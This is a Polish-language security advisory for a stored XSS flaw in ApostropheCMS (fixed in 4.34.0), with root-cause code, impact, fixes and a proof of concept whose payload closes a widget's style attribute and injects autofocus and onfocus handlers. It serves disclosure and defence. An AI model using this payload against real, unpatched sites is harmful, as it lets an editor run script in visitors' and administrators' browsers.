ApostropheCMS: Podatność Stored XSS przez brak ucieczki znaków przy serializacji atrybutów stylów widgetów
Podsumowanie
Style widgetów w ApostropheCMS obsługują pola schematów definiowane przez projekt. Jeśli projekt definiuje pole stylu swobodnego typu string z właściwością CSS property i bez selektora, wartość kontrolowana przez edytora jest renderowana jako deklaracja CSS inline. Wynikowa deklaracja jest następnie wstawiana do atrybutu style="..." wrappera widgetu bez ucieczki znaków dla atrybutów HTML.
Atakujący mający uprawnienia do edycji widgetu może umieścić cudzysłów w wartości stylu, domknąć atrybut style i wstrzyknąć nowe atrybuty procedur obsługi zdarzeń HTML (event handlers). Ładunek jest zapisywany wraz z widgetem i wykonuje się w kontekście pochodzenia (origin) witryny Apostrophe za każdym razem, gdy renderowana jest opublikowana strona.
Jest to problem powiązany z CVE-2026-33889 / GHSA-97v6-998m-fp4g. Wcześniejsza luka umożliwiała wydostanie się z elementu <style> za pomocą złośliwej wartości koloru. Ten wariant dotyczy innego ujścia (sink), powiązanego z automatycznie generowanymi atrybutami inline style oraz class wrappera widgetu.
Szczegóły
Przyczyna źródłowa 1: Swobodne wartości łańcuchowe zachowują metaznaki HTML
Standardowy konwerter pól łańcuchowych stosuje launder.string() oraz walidację długości. Zapewnia to normalizację typu, a nie kodowanie danych wyjściowych dla kontekstu atrybutu HTML:
packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333
self.addFieldType({
name: 'string',
// ...
convert(req, field, data, destination) {
destination[field.name] = self.apos.launder.string(data[field.name]);
destination[field.name] = checkStringLength(
destination[field.name],
field.min,
field.max
);
}
});
Z tego względu cudzysłowy pozostają w wartości przekazanej za pośrednictwem pola stylu.
Przyczyna źródłowa 2: Wartość jest konwertowana na styl inline bez walidacji
Dla pola z property, lecz bez selector lub zapytania media query, renderScopedStyles() wybiera renderowanie inline. Generyczny ekstraktor łączy skonfigurowaną właściwość i wartość kontrolowaną przez edytora:
packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228
packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647
rule = `${property}: ${normalized.value}${normalized.unit}`;
// ...
if (isInline) {
return {
css: '',
classes: [ ...storage.classes ],
inline: stringifyRules(storage.styles, true)
};
}
Na przykład poniższa wartość staje się częścią deklaracji font-family:
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
Przyczyna źródłowa 3: Wartości atrybutów są serializowane bez ucieczki znaków HTML
getWidgetAttributes() umieszcza styl CSS inline w krotce atrybutu, a następnie łączy każdą krotkę w key="value" bez kodowania &, <, >, ' lub ":
packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322
if (styleParts.length) {
attrs.push(
[ 'style', `${styleParts.join(';')};` ]
);
}
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => `${key}="${value}"`)
.join(' ');
Ten sam surowy serializator sprawia, że zdefiniowany przez projekt styl swobodny string z class: true stanowi potencjalną ścieżkę ataku, ponieważ ciąg jest dodawany do classes, a później serializowany do class="...". Ścieżka właściwości inline była ścieżką zweryfikowaną dynamicznie.
Przyczyna źródłowa 4: Niebezpieczny ciąg jest używany przez automatyczny wrapper publiczny
Stylowane widgety używają getWidgetAttributes() do tworzenia wrappera wokół renderowanego widgetu:
packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457
if (hasStyles && self.options.stylesWrapper !== false) {
const styles = self.apos.styles.prepareWidgetStyles(widget);
const styleTag = self.apos.styles
.getWidgetElements(styles, { scene: req.scene });
const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);
return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}
W rezultacie wstrzyknięty atrybut jest obecny podczas standardowego publicznego renderowania strony, a nie tylko w interfejsie edytora.
Dlaczego zabezpieczenie CVE-2026-33889 nie chroni przed tym wariantem
Powiązane zgłoszenie doprowadziło do wdrożenia mechanizmu obronnego w getWidgetElements(), który przekształca </ przed wstawieniem CSS do elementu <style>:
css = css.replaceAll('</', '<\\/');
Chroni to granice elementu stylu. Podatna ścieżka opisana powyżej generuje jednak wyjście inline zamiast css, przez co kod nigdy nie trafia do tej procedury zastępowania.
Konfiguracje i wersje podatne na atak
Zweryfikowana konfiguracja spełnia wszystkie poniższe warunki:
- Widget definiuje pole stylu o swobodnym typie, takim jak
string. - Pole używa
propertybez selektora, co powoduje renderowanie stylu inline, lub używaclass: truez nieograniczoną wartością łańcuchową. - Atakujący posiada uprawnienia do edycji widgetu zawierającego to pole.
- Złośliwa zawartość zostanie opublikowana lub użytkownik o wyższych uprawnieniach wyświetli wersję roboczą (draft).
Standardowe predefiniowane typy range, select i color nie dostarczają bezpośrednio nieograniczonej wartości zawierającej cudzysłów i nie wykazano ich podatności w tym wariancie.
Dowód koncepcji (Proof of Concept)
Krok 1: Konfiguracja widgetu ze swobodnym stylem inline
Dodaj do modułu widgetu pole stylu podobne do poniższego:
module.exports = {
extend: '@apostrophecms/widget-type',
options: {
label: 'Style Attribute Test'
},
styles: {
add: {
customFont: {
type: 'string',
label: 'Custom Font',
property: 'font-family'
}
}
}
};
Brak selector powoduje, że generowana deklaracja staje się stylem inline.
Krok 2: Zapisanie ładunku
Jako użytkownik uprawniony do edycji tego widgetu wprowadź następującą wartość w polu customFont i zapisz widget:
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
Opublikuj stronę lub poproś innego użytkownika o wyświetlenie wersji roboczej.
Krok 3: Bezpośrednie odtworzenie wyjścia renderera
Podatny przepływ danych można również odtworzyć przy użyciu rzeczywistego renderera i serializatora z pobranego repozytorium ze zainstalowanymi zależnościami:
const methodsFactory = require(
'./packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'
);
(async () => {
const { renderScopedStyles } = await import(
'./packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
);
const payload =
'serif" tabindex="0" autofocus ' +
'onfocus="document.body.dataset.inline=\'executed\'';
const styles = renderScopedStyles(
[ {
name: 'customFont',
type: 'string',
property: 'font-family'
} ],
{ customFont: payload }
);
Object.assign(styles, {
styleId: 'audit-inline',
widgetId: 'widget-1'
});
const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
console.log('inline:', styles.inline);
console.log('attributes:', attrs);
})();
Krok 4: Obserwacja niebezpiecznego kodu HTML
Aktualny renderer wygenerował:
inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';
Następnie serializator wygenerował ciąg atrybutów odpowiadający:
id="audit-inline"
data-apos-widget-style-wrapper-for="widget-1"
data-apos-widget-style-classes=""
style="font-family: serif" tabindex="0" autofocus
onfocus="document.body.dataset.inline='executed';"
Cudzysłów kontrolowany przez atakującego domyka atrybut style. Wartości tabindex, autofocus oraz onfocus stają się osobnymi, działającymi atrybutami.
Krok 5: Potwierdzenie wykonania w przeglądarce
Gdy wygenerowany wrapper został załadowany w Chrome 153, atrybut autofocus automatycznie wywołał wstrzykniętą funkcję obsługi. DOM uległ zmianie na:
<body data-inline="executed">
<div id="audit-inline" tabindex="0" autofocus="" onfocus="..."></div>
</body>
Prawidłowe, bezpieczne zachowanie polegałoby na zakodowaniu cudzysłowu jako " wewnątrz atrybutu style, bez wstrzykiwania jakichkolwiek atrybutów i bez zmian w document.body.dataset.
Skutki
- Stored XSS na opublikowanych stronach: Kod JavaScript wykonuje się u nieuwierzytelnionych użytkowników ładujących stronę zawierającą podatny widget.
- Eskalacja uprawnień: Jeśli administrator lub inny uprzywilejowany edytor wyświetli stronę lub wersję roboczą, ładunek wykona się z uprawnieniami tego użytkownika w kontekście aplikacji i może wykonywać uwierzytelnione operacje dostępne dla ofiary.
- Trwała manipulacja treścią: Ładunek jest zapisywany wraz z zawartością widgetu i wykonuje się nieprzerwanie, dopóki wartość stylu nie zostanie usunięta lub ścieżka generowania danych wyjściowych nie zostanie naprawiona.
- Phishing i dostęp do danych: Skrypt może modyfikować renderowaną stronę, odczytywać dane same-origin nieoznaczone flagą HttpOnly oraz wysyłać żądania same-origin w imieniu ofiary.
Zalecane rozwiązanie
Rozwiązanie 1: Stosowanie ucieczki znaków HTML dla każdej wartości atrybutu zwracającej ciąg znaków
Gałąź łańcuchowa w getWidgetAttributes() powinna kodować wartości pod kątem kontekstu atrybutu HTML w podwójnych cudzysłowach przed konkatenacją. Należy zakodować co najmniej &, <, >, " oraz ' przy użyciu scentralizowanego encodera HTML w Apostrophe.
Koncepcyjnie:
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => {
return `${key}="${escapeHtmlAttribute(String(value))}"`;
})
.join(' ');
Strukturalna gałąź asObject powinna pozostać ustrukturyzowana, aby docelowy renderer szablonów/DOM mógł przeprowadzić kodowanie odpowiednie dla danego kontekstu.
Rozwiązanie 2: Walidacja wartości stylów zgodnie z gramatyką docelową
Kodowanie danych wyjściowych stanowi podstawową naprawę. W ramach obrony w głąb (defense in depth):
- Wymagaj typów select/range/color lub innych ograniczonych typów dla powszechnych właściwości CSS.
- Analizuj i waliduj swobodne wartości właściwości CSS, zamiast traktować je jako dowolne ciągi znaków.
- W przypadku
class: trueakceptuj wyłącznie pojedyncze, poprawne tokeny nazw klas zamiast dowolnego ciągu znaków.
Co trzeba zrobić
Zaktualizuj pakiet apostrophe do wersji 4.34.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | apostrophe | < 4.34.0 | 4.34.0 |
Odnośniki
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-7jg5-frgc-c67w
- https://nvd.nist.gov/vuln/detail/CVE-2026-112958
- https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498
- https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.34.0
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Słabość (CWE)
CWE-79- Platforma
- npm
- Paczka
apostrophe- Ujawniono
- 21.10.2026
- Aktualizacja
- 21.10.2026 20:23
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-7jg5-frgc-c67w - CC BY 4.0
Historia podatności: apostrophe
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 33
- Pierwsza → ostatnia
- 09.2020 10.2026
- Bez poprawki
- 4
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 2
- Wysoka 9
- Średnia 18
- Niska 4
Ujawnienia w latach
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 29
-
ApostropheCMS: Podatność Stored XSS przez brak ucieczki znaków przy serializacji atrybutów stylów widgetów ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.